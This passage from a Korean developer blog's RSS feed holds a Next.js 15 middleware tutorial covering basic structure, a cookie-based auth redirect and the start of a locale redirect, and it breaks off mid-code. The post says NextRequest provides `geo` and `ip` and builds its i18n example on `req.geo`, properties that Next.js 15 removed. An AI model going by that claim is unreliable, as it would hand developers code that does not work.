&lt;p&gt;관리자 페이지에서 엑셀 다운로드를 구현해보신 분들, 어떤 라이브러리를 쓰고 계신가요? 저는 읽기·쓰기 비중이 7:3 정도라 여전히 SheetJS를 기본으로 쓰고, 리포트성 요구가 들어올 때만 ExcelJS로 갈아타는 편입니다. 여러분의 선택 기준이 궁금합니다. 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Next.js 15 미들웨어 완벽 가이드 — 인증·리다이렉트·리라이트 실전 패턴]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "로그인 체크를 매 페이지 컴포넌트마다 복붙하고 계신가요? 그 코드, 미들웨어 한 파일로 끝납니다." 결론부터 말씀드리면 — Next.js 1…]]></description><link>https://blog.javapark.kr/middleware/</link><guid isPermaLink="false">https://blog.javapark.kr/middleware/</guid><pubDate>Thu, 14 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;로그인 체크를 매 페이지 컴포넌트마다 복붙하고 계신가요? 그 코드, 미들웨어 한 파일로 끝납니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Next.js 15 미들웨어는 요청이 라우트에 도달하기 전에 가로채는 관문&lt;/strong&gt;입니다. 여기서 인증, 리다이렉트, 리라이트, 쿠키 세팅, 봇 차단까지 한 번에 처리하면 각 페이지/레이아웃의 코드가 훨씬 가벼워집니다. 오늘은 2026년 4월 기준 실전에서 바로 쓸 수 있는 &lt;strong&gt;다섯 가지 패턴&lt;/strong&gt;과 &lt;code class=&quot;language-text&quot;&gt;matcher&lt;/code&gt; 설정, Edge Runtime 제약까지 정리해드릴게요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;미들웨어란 무엇인가&lt;/h2&gt;
&lt;p&gt;Next.js 미들웨어는 &lt;strong&gt;요청(Request)을 페이지/API 라우트 핸들러보다 먼저 실행&lt;/strong&gt;하는 함수입니다. 기본적으로 &lt;strong&gt;Edge Runtime&lt;/strong&gt; 위에서 동작하기 때문에 사용자와 물리적으로 가까운 지점(CDN 엣지)에서 실행되고, Node.js 서버 부팅을 기다리지 않아 &lt;strong&gt;콜드 스타트가 거의 없습니다&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;쉽게 말하면 —&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;요청을 &lt;strong&gt;통과&lt;/strong&gt;시키거나 (&lt;code class=&quot;language-text&quot;&gt;NextResponse.next()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;리다이렉트&lt;/strong&gt; 시키거나 (&lt;code class=&quot;language-text&quot;&gt;NextResponse.redirect()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;내부적으로 &lt;strong&gt;다른 경로로 재작성&lt;/strong&gt;하거나 (&lt;code class=&quot;language-text&quot;&gt;NextResponse.rewrite()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;쿠키/헤더&lt;/strong&gt;를 조작한 뒤 계속 진행시키거나&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이렇게 네 갈래로 요청 흐름을 제어할 수 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;과거 &lt;code class=&quot;language-text&quot;&gt;pages/_middleware.ts&lt;/code&gt; 또는 per-route 미들웨어 파일은 &lt;strong&gt;deprecated&lt;/strong&gt; 되었습니다. 지금은 &lt;strong&gt;프로젝트 루트의 &lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt; 한 파일&lt;/strong&gt;만 사용합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;파일 위치와 기본 구조 (App Router)&lt;/h2&gt;
&lt;p&gt;App Router 프로젝트 기준 &lt;code class=&quot;language-text&quot;&gt;middleware.ts&lt;/code&gt;는 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;src/&lt;/code&gt; 를 쓰면 &lt;code class=&quot;language-text&quot;&gt;src/middleware.ts&lt;/code&gt;, 아니면 프로젝트 루트&lt;/strong&gt;에 둡니다. &lt;code class=&quot;language-text&quot;&gt;app/&lt;/code&gt; 디렉터리 안에 두는 게 아니라는 점에 주의하세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;my-app/
├─ app/
│  ├─ layout.tsx
│  └─ page.tsx
├─ middleware.ts   ← 여기!
├─ next.config.ts
└─ package.json&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;가장 기본적인 스켈레톤은 이렇게 생겼습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextRequest &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// 여기서 요청을 가로채서 원하는 작업 수행&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 어떤 경로에서 미들웨어를 실행할지 지정&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/((?!_next/static|_next/image|favicon.ico).*)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;middleware&lt;/code&gt; 함수는 &lt;strong&gt;default export 없이 named export&lt;/strong&gt; 여야 합니다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;NextRequest&lt;/code&gt;는 표준 &lt;code class=&quot;language-text&quot;&gt;Request&lt;/code&gt;의 확장으로 &lt;code class=&quot;language-text&quot;&gt;cookies&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;nextUrl&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;geo&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;ip&lt;/code&gt; 등 Next 고유 속성을 추가로 가집니다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;config.matcher&lt;/code&gt;는 &lt;strong&gt;빌드 타임에 정적으로 분석&lt;/strong&gt;되기 때문에 환경변수나 런타임 값으로 만들 수 없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;실전 패턴 1 — 인증 가드 + 로그인 페이지 리다이렉트&lt;/h2&gt;
&lt;p&gt;가장 많이 쓰는 케이스입니다. &lt;code class=&quot;language-text&quot;&gt;/dashboard&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;/settings&lt;/code&gt; 같은 보호된 경로에 접근할 때 세션 쿠키를 검사하고, 없으면 로그인 페이지로 보냅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextRequest &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;PROTECTED&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/dashboard&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/settings&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/billing&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; pathname &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; needsAuth &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;PROTECTED&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;some&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; pathname&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;startsWith&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;needsAuth&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; token &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cookies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;value
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;token&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; loginUrl &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;&lt;span class=&quot;token constant&quot;&gt;URL&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/login&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    loginUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;searchParams&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;from&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; pathname&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 로그인 후 원래 경로로 복귀&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;loginUrl&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 필요하면 JWT 검증 (Edge 호환 라이브러리: jose 추천)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/dashboard/:path*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/settings/:path*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/billing/:path*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;포인트:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JWT 검증은 &lt;code class=&quot;language-text&quot;&gt;jose&lt;/code&gt;&lt;/strong&gt; 를 쓰세요. &lt;code class=&quot;language-text&quot;&gt;jsonwebtoken&lt;/code&gt;은 Node.js &lt;code class=&quot;language-text&quot;&gt;crypto&lt;/code&gt;에 의존해서 Edge에서 돌지 않습니다.&lt;/li&gt;
&lt;li&gt;DB 조회가 필요한 무거운 인증은 &lt;strong&gt;미들웨어에서 하지 말고&lt;/strong&gt;, 토큰 존재/만료만 체크하고 실제 권한은 Server Component에서 확인하는 게 빠릅니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;실전 패턴 2 — 지역 기반 i18n 리다이렉트&lt;/h2&gt;
&lt;p&gt;접속자의 국가 코드(&lt;code class=&quot;language-text&quot;&gt;request.geo?.country&lt;/code&gt;)나 &lt;code class=&quot;language-text&quot;&gt;Accept-Language&lt;/code&gt; 헤더를 보고 &lt;code class=&quot;language-text&quot;&gt;/&lt;/code&gt; 요청을 &lt;code class=&quot;language-text&quot;&gt;/ko&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;/en&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;/ja&lt;/code&gt; 등으로 보냅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextRequest &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;LOCALES&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ko&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;en&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ja&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;DEFAULT_LOCALE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;en&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;pickLocale&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; country &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;geo&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;country&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;country &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;kr&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ko&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;country &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;jp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ja&quot;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; accept &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;headers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;accept-language&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; preferred &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; accept&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;,&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;-&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;LOCALES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;preferred &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;any&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; preferred &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;DEFAULT_LOCALE&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;req&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; pathname &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; hasLocale &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;LOCALES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;some&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    l &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; pathname &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;l&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; pathname&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;startsWith&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;l&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
